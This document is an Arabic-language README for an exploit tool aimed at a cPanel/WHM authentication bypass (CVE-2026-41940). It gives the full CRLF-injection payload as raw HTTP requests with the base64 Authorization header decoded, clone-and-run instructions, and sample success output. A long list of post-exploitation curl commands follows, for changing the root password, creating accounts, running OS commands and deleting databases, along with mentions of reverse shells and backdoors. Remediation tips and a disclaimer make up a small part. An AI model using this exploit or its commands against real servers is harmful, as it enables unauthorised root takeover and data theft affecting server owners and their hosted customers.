
أداة استغلال بالغة الخطورة لتجاوز المصادقة في cPanel/WHM CVE-2026-41940. تستغل حقن CRLF في خدمة cpsrvd للحصول على وصول جذر إلى WHM دون بيانات اعتماد. تتضمن كشف الإصدار، تسجيلاً مفصلاً، دعم البروكسي، تقارير JSON، وتعداد الحسابات بعد الاستغلال. لأغراض اختبار الأمان المصرح به فقط.
تجاوز مصادقة حرج عبر حقن CRLF في خدمة cpsrvd الخاصة بـ cPanel/WHM
CVE-2026-41940 عبارة عن ثغرة تجاوز مصادقة حرجة في cPanel وWHM تتيح للمهاجمين عن بُعد دون مصادقة الحصول على وصول إداري كامل بصلاحيات الجذر إلى الخادم. تكمن الثغرة في معالجة الجلسات داخل خدمة
cpsrvd، وتحديدًا فيCpanel/Session.pm، حيث يؤدي التعقيم غير السليم لمحددات الأسطر (CRLF) في ملف تعريف الارتباطwhostmgrsessionوترويساتAuthorizationإلى تمكين حقن معاملات الجلسة.
| درجة CVSS | نوع الاستغلال | التأثير | متجه الهجوم |
|---|---|---|---|
| 9.8 | تجاوز المصادقة | وصول الجذر | الشبكة |
توفر هذه الأداة الميزات الرئيسية التالية:
🔓 تجاوز المصادقة - الحصول على وصول جذر إلى WHM دون بيانات اعتماد
🛡️ تقنيات تجاوز متعددة - تجربة طرق تحقق مختلفة تلقائيًا
🌐 دعم الوكيل (Proxy) - توجيه حركة المرور عبر وكلاء HTTP/HTTPS
📊 تقارير JSON - إنشاء تقارير تقييم مفصلة
📝 تسجيل شامل - وضع تصحيح مفصّل مع طوابع زمنية
🔍 اكتشاف الإصدار - اكتشاف الإصدارات المعرضة للخطر والتحقق منها تلقائيًا
👥 تعداد الحسابات - سرد جميع حسابات cPanel بعد الاستغلال
🎯 نقاط نهاية متعددة - محاولة استخدام نقاط نهاية API مختلفة للتحقق
تنبع الثغرة من مشكلتين رئيسيتين:
حقن CRLF في تخزين الجلسة - تفشل الدالة saveSession في تعقيم أحرف السطر الجديد (\n) في حقل pass قبل الكتابة إلى ملف الجلسة، مما يسمح بحقن معاملات جلسة عشوائية.
تجاوز الترميز المشروط - عندما يفتقر ملف تعريف ارتباط الجلسة إلى الجزء ob (المقطع بعد الفاصلة)، تُكتب قيمة pass دون ترميز (نص صريح)، مما يتيح حقن تسلسلات CRLF.
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
تحصل الأداة أولاً على ملف تعريف ارتباط لجلسة ما قبل المصادقة عبر محاولة تسجيل دخول فاشلة:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
الاستجابة:
Set-Cookie: whostmgrsession=base64_encoded_data
تقوم ترويسة Authorization المصمّمة بحقن معاملات جلسة خبيثة:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
الحمولة المفكوكة:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
يستجيب الخادم بعملية إعادة توجيه تحتوي على رمز جلسة الإدارة:
Location: /cpsess1234567890/
تحاول الأداة استخدام طرق تحقق متعددة لتأكيد وصول الجذر.
بعد نجاح الاستغلال، استخدم الأوامر التالية مع الرمز الذي تم الحصول عليه:
# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"
# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"
# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"
# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"
# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"
# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"
# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"
# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"
# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"
# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"
# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"
# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"
# Domain information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"
# Email statistics
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"
# PHP configuration
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"
# Server status
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"
# System information
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"
# List accounts (alternative )
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"
# Show processes
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"
# Disk usage
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"
# Change user password
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
-d "user=root&pass=NewP@ss123"
# Create new account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
-d "username=testuser&domain=test.com&password=TestPass123&plan=default"
# Execute OS commands
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
-d "script=id"
# Suspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
-d "user=testuser"
# Unsuspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
-d "user=testuser"
# Remove account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
-d "user=testuser"
# Get security advisor info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"
# Get SSH key info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"
# Check firewall status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"
# Get SSL certificates
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"
# List MySQL databases
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"
# Create database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
-d "db=test_db"
# Delete database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
-d "db=test_db"
# List database users
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"
بمجرد حصول المهاجم على وصول جذر إلى WHM، يمكنه:
🔍 سرد جميع حسابات cPanel
👤 إنشاء حسابات cPanel جديدة
🔑 تعديل كلمات مرور الحسابات
❌ حذف الحسابات أو تعليقها
🖥️ تنفيذ أوامر نظام التشغيل
🔄 تغيير كلمة مرور الجذر
📊 عرض إحصائيات الخادم
🗄️ إدارة قواعد بيانات MySQL
🐚 نشر قشور عكسية (Reverse Shells)
🌐 تثبيت قشور ويب (Web Shells)
🗝️ تثبيت أبواب خلفية
🔒 إنشاء حسابات إدارية مخفية
📁 الوصول إلى جميع ملفات الخادم
💾 تصدير قواعد البيانات
📧 قراءة حسابات البريد الإلكتروني
🔐 الوصول إلى شهادات SSL
# 1. Update cPanel/WHM immediately
/scripts/upcp --force
# 2. Invalidate all active sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
# 3. Restrict WHM access to trusted IPs
# Add to /etc/csf/csf.conf
# Or configure firewall
# 4. Enable Multi-Factor Authentication (MFA )
# WHM > Security Center > Two-Factor Authentication
# 5. Change ALL passwords
# - Root password
# - All cPanel user passwords
# - Database passwords
# - FTP passwords
# 6. Audit system for backdoors
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"
# 7. Check for malicious cron jobs
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
# 8. Check SSH authorized keys
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
✅ تنفيذ تحقق صارم من المدخلات لمنع حقن CRLF
✅ نشر قواعد WAF لكشف الطلبات الخبيثة وحظرها
✅ تفعيل قيود الوصول المستندة إلى IP لـ WHM
✅ تحديث cPanel/WHM بانتظام إلى أحدث الإصدارات
✅ إجراء تقييمات أمنية منتظمة
✅ مراقبة السجلات بحثًا عن أي نشاط مشبوه
✅ تطبيق مبدأ الامتياز الأقل
✅ تفعيل مستشار الأمان في WHM
✅ إجراء تدقيقات أمنية منتظمة
✅ تنفيذ نظام كشف التسلل (IDS)
{
"timestamp": "2026-07-26T22:23:25.123456",
"target": "https://target.com:2087",
"status": "success",
"token": "1234567890",
"detected_version": "11.110.0.85",
"vulnerable": true,
"verification_method": "url_format",
"notes": "Root access confirmed; Token verified",
"exploit_name": "CVE-2026-41940",
"cvss_score": "9.8",
"description": "cPanel/WHM Authentication Bypass via CRLF Injection",
"exploit_version": "1.0"
}
هذه الأداة مقدمة لأغراض البحث الأمني التعليمي والأخلاقي فقط. المؤلف والمساهمون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. باستخدامك لهذه الأداة، فإنك توافق على تحمل المسؤولية الكاملة عن أفعالك. تأكد من حصولك على إذن صريح قبل الاختبار على أي نظام.
نرحب بالمساهمات! يرجى اتباع الخطوات التالية:
🍴 انسخ المستودع (Fork)
🔧 أنشئ فرع الميزة الخاص بك (git checkout -b feature/amazing-feature )
💾 احفظ تغييراتك (git commit -m 'Add amazing feature')
📤 ارفع التغييرات إلى الفرع (git push origin feature/amazing-feature)
🔃 افتح طلب سحب (Pull Request)
🎉 الإصدار الأولي
🔓 تنفيذ استغلال حقن CRLF
🛡️ تقنيات متعددة لتجاوز التحقق
📊 توليد تقارير JSON
🌐 دعم الوكيل (Proxy)
📝 تسجيل شامل
🔍 اكتشاف الإصدار
👥 تعداد الحسابات
📚 أوامر شاملة لما بعد الاستغلال
التنبيه الأمني - [email protected]
مشكلات GitHub - إنشاء مشكلة
⚠️ تذكّر: القوة العظيمة تأتي بمسؤولية عظيمة! استخدمها بأخلاقية! ⚠️
صُنع بكل ❤️ لمجتمع الأمان
| السمة | القيمة |
|---|
| معرف CVE | CVE-2026-41940 |
| درجة CVSS | 9.8 (حرجة) |
| نوع الثغرة | تجاوز المصادقة عبر حقن CRLF |
| المكوّن المتأثر | خدمة cpsrvd (Cpanel/Session.pm) |
| متجه الهجوم | الشبكة |
| التأثير | وصول كامل بصلاحيات الجذر |
| الاستغلال | عن بُعد دون مصادقة |
| مسار الإصدار | المعرض حتى | الإصدار المُصحَّح |
|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
| الوسيط | الاختصار | مطلوب | الوصف |
|---|
--target | -t | ✅ | عنوان URL الهدف (مثل: https://target.com:2087 ) |
--verbose | -v | ❌ | تمكين الإخراج المفصّل/التصحيح |
--proxy | -p | ❌ | عنوان URL للوكيل (مثل: http://127.0.0.1:8080 ) |
--output | -o | ❌ | ملف الإخراج لتقرير JSON |
--timeout | ❌ | مهلة الطلب بالثواني (الافتراضي: 10) | |
--list-accounts | -l | ❌ | سرد حسابات cPanel بعد نجاح الاستغلال |
--version | ❌ | عرض إصدار الأداة |